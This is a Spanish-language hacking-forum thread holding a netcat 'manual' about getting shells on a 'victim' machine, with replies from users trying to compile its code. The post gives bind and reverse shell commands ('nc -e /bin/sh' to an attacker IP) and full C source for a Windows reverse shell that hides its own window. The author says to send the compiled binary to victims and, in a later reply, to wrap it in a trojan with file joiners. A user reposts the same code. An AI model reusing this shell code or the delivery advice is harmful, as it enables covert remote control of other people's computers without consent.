Foro de elhacker.net

Informática => Tutoriales - Documentación => Mensaje iniciado por: Kasswed en 19 Septiembre 2005, 14:20 pm



Título: Manual de NetCat
Publicado por: Kasswed en 19 Septiembre 2005, 14:20 pm

Wiki, me animé a hacer el manual, espero que os guste y que me déis consejos a mejorarlo o a quitarle fallos que seguro que hay.

Introducción:



Como muchos sabréis NetCat se ha venido haciendo más famoso cada día. Esta
fantástica herramienta que nos permite hacer muchísimas cosas... Desde
montar un chat, hasta enviar ficheros o averiguar datos sonbre un web, por
ello NetCat (ó NC) se ha ido convirtiendo tan famoso.

En este manual no voy a explicar cómo hacer un chat, ni ninguna de sus
ualidades, lo que voy a intentar explicar es cómo conseguir una shell (una
consola, una terminal, un programa de comandos etc) haciendo uso de él.

Preparándose

Pues bien, lógicamente lo primero que necesitamos es NetCat. Lo podéis
encontrar en google, por inet. Buscad bien, sino en nuestra web está subido,
en la parte de Herramientas.

De momento sólo necesitamos eso, cuando vayan surgiendo más cosas os las iré
explicando.

Por cierto, también ncesitamos una shell, tanto de windows como de Linuc o
del SO que sea.

Los de Linux podéis encontrar NC en sourceforge por ejemplo, en cuanto a lo
usuarios de Windows, una vez que lo bajéis descomprimidlo en system32, para
hacer más fácil su manejo.

Víctima y atacante

Bueno, quería dejar una cosa clara antes de comenzar. Este texto lo he
escrito en mi máquina de windows, asi que el atacante será
192.168.1.33 con sun SO de windows, y la víctima será
192.168.1.34 con un SO de Linux. Dicho esto pasemos a la acción.

Obtener una shell directamente:

Una shell directa es bastante fácil de lograr, pero no es la más
recomendada, conforme vayáis leyendo os daréis cuenta de sus desventajas.

Para lograr una shell directa el equipo víctima tiene que ejecutar el
siguiente comando:


Código:
nc -l -e /bin/sh -p 6000

Os preguntaréis, y qué es todo eso? Pues os lo explico:

nc           Ahí invocamos al NetCat
-l            Para poner a la escucha un puerto
-e           Sirve para llamar a la ejecución de un programa.
/bin/sh   Es la shell de Linux, en windows sería cmd.exe
-p           Para indicar qué puerto queremos poner a la escucha

De tal manera que lo que hacemos en la víctima es poner a la escucha el
puerto 6000, sirviendo para alguna conexión remota el programa /bin/sh, que
es la shell de Linux. Si la víctima es un SO Windows, este progama sería
cmd.exe.

Una vez hecho eso en la víctima nos queda conectar con ella, con la máquina
atacante. Para ello simplemente indicamos IP y PUERTO:

nc -vv <IP> <PUERTO>

Donde:
-vv    Sirve para dar más datos, es decir, datos detallado de la
conexión.
<IP>  Aquí va la IP de la víctima.
<PUERTO> Aquí el Puerto de conexión.

En mi ejemplo el comando quedó de la siguiente manera:


Código:
nc -vv 192.168.1.34 6000

Y obtení una shell de mi máquina Linux, hice un dir y me devolvió los datos:

(http://img371.imageshack.us/img371/6330/directa4ds.jpg)

NOTA: En este ejemplo no aparece el clásico "c:\" porque la víctima es un
SO Linux, si fuera un Windows si aparecería.Otra cosa importante a decir es
que si tenemos un router o firewall, debéis abrir los puertos, sino nada
servirá.


Obtener una shell inversa:

Para mí, para mí... esta es la manera más eficaz de obtener una shell,
porque tú no te conectas a tu víctima, es ella quien se conecta a ti.
Veámoslo con un ejemplo:

En la máquina atacante pongo este comando:


Código:
nc -vv -l -p 6000

De manera que pongo a la escucha el puerto 6000.

En mi máquina víctima (Linux) pongo el siguiente comando:


Código:
nc -e /bin/sh 192.168.1.33 6000

Así creo que lo entendemos mejor. Es decir, la víctima sirve la shell y se
conecta al atacante. Esto tiene muchas ventajas, ya que si por ejemplo
tienes una víctima con IP Dinámica (la IP cambia cada X tiempo) no podrás
tenerla como víctima el tiempo que quieras, y cuando intentes conectar no
podrás porque su IP habrá cambiado. Pero si n cambio es ella la que se
conecta a ti, ahí estás ganando, porque tú puedes ponerte un dominio NO-IP
por ejemplo, y cada vez que te pongas a la escucha recibirás la shell.

De manera que comprobado con mis dos máquinas, funciona:

(http://img371.imageshack.us/img371/2750/inversa7mk.jpg)

Hasta ahora os estaréis preguntando esto: ¿De qué sirve el NetCat si hay que
tener acceso físico a la PC? Pues no. No necesariamene hay que tener acceso
físico a la PC. Aquí os dejo un exploit para windows (para Linux no hay
virus, ni exploit ni nada :P [si lso hay pero no de NetCat]) con el que
podréis recibir una shell inversa:


Código:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
        ShowWindow(GetForegroundWindow(),SW_HIDE);
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in addr;
        memset(&addr,0,sizeof(addr));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
puerto de conexion NetCat
        addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
NO-IP");//Atencion a esta linea, aki va tu IP
        connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);
}

Esto es un código en C++, sólo debéis cambiarle un par de cosillas. Una vez
cambiadas lo único que tenéis que hacer es compilarlo y hacer un EXE, para
ello podéis usar DevC++ o vuestro compilador preferido. Enviáis este
ejecutable, y os ponéis a la escucha con el puerto que hayáis puesto, y
cuando tu víctima lo ejecuta ya tendrás una shell inversa.

También podeis programar un BAT, que descarga el NC y haga la conexión.
Además del BAT y del código en C hay muchas utilidades por ahí, por ejemplo,
esta:

http://venus.walagata.com/w/nc2k5/1401581.rar

Y buscando por google encontraréis más.

Enviar y recibir archivos con NetCat:

Para poder enviar y recibir archivos con NetCat (ojo, por NetCat, no por tFTP ni nada de eso) es necesario ejecutar comandos en ambas máquinas, apuntando al archivo que se quiera mandar, de la siguiente forma:

Suponiendo que el atacante quiere enviar un servidor Radmin a la víctima:


Código:
nc <IP> <PUERTO> < "Archivo"

Y para recibir:

Código:
nc -l -p <PUERTO> > "Archivo"

De tal manera que si quiero enviar: r_server.exe haré:

Código:
nc 192.168.1.34 6000 < "r_server.exe"

Y en la máquina víctima:


Código:
nc -l -p 6000 > "r_server.exe"

Nota: La transferencia de archivos por NetCat es muy básica y se aconseja no usarla, puede ser lenta y mala.

Otros métodos de transferencia de archivos:

Al ser la transferencia por NetCat "mala y lenta", podemos usar otros métodos de transferencia de archivos, una vez que hayamos conseguido shell.

Uno de ellos es el tFTP, del cual no voy a explicar nada porque no viene a cuento, pero podéis buscar manuales en google.

Otro método de transferencia es FTP, un cliente FTP lo tiene cualquier SO por defecto, sólo hay que conectarse al servidor FTP y de ahí descargar; igual que con tFTPpodéis buscar algún manual.



Bueno, ahí termina el manual de NetCat, espero que lo haya explicado todo bien, por lo menos lo he intentado, si queréis ahcerme alguna sugerencia sobre qué ponerle más o lo que sea, decídmelo ya! xD.


Saludos!


Título: Re: Manual de NetCat
Publicado por: pisagatos en 19 Septiembre 2005, 14:51 pm
is the polla el manual tio, voy aprender a utilizarlo mejor


Título: Re: Manual de NetCat
Publicado por: Kasswed en 19 Septiembre 2005, 14:53 pm
Seguro que habrá fallos y cosas no bien explicadas así que decídmelo.

Saludos!


Título: Re: Manual de NetCat
Publicado por: c3r0x en 19 Septiembre 2005, 23:37 pm
se



Título: Re: Manual de NetCat
Publicado por: Kasswed en 19 Septiembre 2005, 23:49 pm
¿Si qué? xDDD


Título: Re: Manual de NetCat
Publicado por: H@T en 26 Septiembre 2005, 03:48 am
La verdad que te pasaste esta muy bueno, eso si quisiera saber mas utilidades del netcat ya que lo llaman la navaja suiza porque debe tener muchisimas utilidades....


Título: Re: Manual de NetCat
Publicado por: $$doctor$$ en 26 Septiembre 2005, 11:56 am
bastante bueno el manual felicitaciones!!


Título: Re: Manual de NetCat
Publicado por: Kasswed en 26 Septiembre 2005, 15:13 pm
Thx thx jejejeje  ;D ;D ;D ;D

tirher busca por google, NetCat es una herrameinta muy buena, sólo hay que saber buscar.

Saludos!


Título: Re: Manual de NetCat
Publicado por: Kasswed en 26 Septiembre 2005, 15:14 pm
Google: usos netcat
http://linuca.org/body.phtml?nIdNoticia=276

Saludos!


Título: Re: Manual de NetCat
Publicado por: trupin en 27 Septiembre 2005, 06:28 am
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
        ShowWindow(GetForegroundWindow(),SW_HIDE);
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in addr;
        memset(&addr,0,sizeof(addr));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);         
addr.sin_family = AF_INET;
        addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
puerto de conexion NetCat
        addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
NO-IP");//Atencion a esta linea, aki va tu IP
        connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);        
ExitProcess(0);
}

hola me aperecen errores en las lineas en rojo, estoy ocupando el dev c++. yo se programar en c++ pero basico no lo domino a la perfeccion.
en la primera linea en rojo:

18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 3 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 5 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'
18 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 6 of `SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, GROUP, DWORD)'

en la segunda linea en rojo:

26 C:\Documents and Settings\Pancho\Escritorio\nc.cpp [Warning] passing NULL used for non-pointer converting 6 of `BOOL CreateProcessA(const CHAR*, CHAR*, _SECURITY_ATTRIBUTES*, _SECURITY_ATTRIBUTES*, BOOL, DWORD, void*, const CHAR*, _STARTUPINFOA*, _PROCESS_INFORMATION*)'

si me pueden ayudar sera ideal
esop
grax chaus


Título: Re: Manual de NetCat
Publicado por: Kasswed en 27 Septiembre 2005, 15:40 pm
Sabía que iba a dar problemas el puñetero code...

Mira, pon... "Nuevo proyecto" y luego borras el main y pones el de este code, presionas Alt + P y l das a Añadir Biblioteca, y añades la libws2_32.a

No se no se...

Saludos!



Título: Re: Manual de NetCat
Publicado por: _R€d_ en 27 Septiembre 2005, 17:40 pm
Jejeje; ahora voy a complementar lo no mucho que sabia con el nectcat; practicare con una maquina virtual...Saludos!


Título: Re: Manual de NetCat
Publicado por: askatasun en 19 Noviembre 2005, 13:17 pm
pero segun has dicho en lo de la shell inversa hay que tener acceso fisico no?, ya que n el atacante pones a la escucha el puerto 6000, y en la victima escribes un comando para servir la shell asi que eso no te serviria si quisieras entrar en un pc remoto?


Título: Re: Manual de NetCat
Publicado por: Sagman en 19 Noviembre 2005, 13:39 pm
Oye kasswed, buen trabajo tio xD k no lo habia visto antes


Título: Re: Manual de NetCat
Publicado por: Kasswed en 20 Noviembre 2005, 14:17 pm
pero segun has dicho en lo de la shell inversa hay que tener acceso fisico no?, ya que n el atacante pones a la escucha el puerto 6000, y en la victima escribes un comando para servir la shell asi que eso no te serviria si quisieras entrar en un pc remoto?

Para eso estan los exploits que puse, y si quieres puedes crear una especie de troyano con juntadores de archivos, tipo Calimocho o IPacker Tool, envias el mejunge, la victima lo ejecuta y te sirve una shell, tu conectas y obtienes shell.

Oye kasswed, buen trabajo tio xD k no lo habia visto antes

xD Pues ya lleva su tiempo eso xD me lagro k te guste.

Saludos![/i][/color]


Título: Re: Manual de NetCat
Publicado por: Isirius en 21 Noviembre 2005, 14:19 pm
He el codigo ese kass te lo pase yo eee jejejej nombrame hombre jejeej.  ;)


Título: Re: Manual de NetCat
Publicado por: Kasswed en 22 Noviembre 2005, 17:14 pm
El código me lo pasó Isirius, que a su vez se lo pasó otro.


Título: Re: Manual de NetCat
Publicado por: Isirius en 23 Noviembre 2005, 15:52 pm
Jejejee Gracias Kasswed quier saber la historia enga me lo paso orphen jejej.  ;D


Título: Re: Manual de NetCat
Publicado por: xDie en 5 Enero 2006, 23:34 pm
cuando quiero compilar el exploit me sale este error 17 C:\Documents and Settings\Administrador\Escritorio\SinNombre1.cpp [Warning] passing NULL used for non-pointer argument passing 3 of `SOCKET WSASocketA(int, int, 
que ***** es???


Título: Re: Manual de NetCat
Publicado por: fanky10 en 19 Junio 2006, 01:41 am
Seria weno q no solo copiaran y pegaran...
para luego apretar ctrl+F9
;)
lean un poco de c o c++ ¬¬
tanto leer en internet y nadie se pone ni media pila con un poco de c
saludos!!
(va con onda!! pero si entienden el lenguaje evitan muuuuchos problemas!! y crean otros ;))


Título: Re: Manual de NetCat
Publicado por: haak en 3 Noviembre 2010, 17:14 pm
Hola a todos: Hay algo que no entiendo con respecto a NETCAT para que funcione este programa hay que escribir los codigos en la  pc  atacante y en la pc victima.


Título: Re: Manual de NetCat
Publicado por: semperwhitehat en 30 Diciembre 2010, 18:35 pm
igual llego un poco tarde... XD
he estado intentando compilar el codigo con "g++ ejemplo.cpp -o ejemplo", y me lanza el siguiente error:

ejemplo.cpp:1 fatal error: winsock2.h No existe el fichero o el directorio
compilation terminated.

Igual es porque estoy intentando compilarlo  en ubuntu? (disculpad el retraso... :P)


Título: Re: Manual de NetCat
Publicado por: bravo1979 en 5 Septiembre 2011, 13:37 pm
esta bueno tu manual pero puedes ayudarme con un problema q tengo.

cuando ejecuto el cmd y pongo el comando q dices "nc -vv -t -p  etc" o cualquier otro me sale el comando NC NO SE RECONOCE COMO COMANDO INTERNET O EXTERNO.

lo he intentado en windows 7 tambien a travez de una maquina virtual con windows xp, he desactivado mi antivirus y sigue el mimo mensaje.

tambien copie el nc en la raiz dela unidad y tambien donde dijiste en system32

me puedes ayudar con este tema ? gracias


Título: Re: Manual de NetCat
Publicado por: bravo1979 en 5 Septiembre 2011, 15:08 pm
disculpa por las molestias ya corregi el error que tenia antes de dos no reconocia la sentencia creo, pero me sale otro error q no comprendo, no me funca con ninguno de las sentencias que pones, cuando lo hago me sale este error.

forward host lookup failed: h:errno 11001: host:not:found

me puedes decir a q se debe y q debo hacer para poder hacer el ejercicio?.

Gracias.


Título: Re: Manual de NetCat
Publicado por: Puntoinfinito en 17 Julio 2012, 12:36 pm
Perfecto manual!


Título: Re: Manual de NetCat
Publicado por: Stakewinner00 en 22 Agosto 2012, 21:45 pm
.


Título: Re: Manual de NetCat
Publicado por: bril23 en 16 Febrero 2016, 02:55 am
Ese código o exploit que pones como lo convierto o paso como un programa para poder usar.

Espero me pueden dar respuesta a mi duda.

Saludos....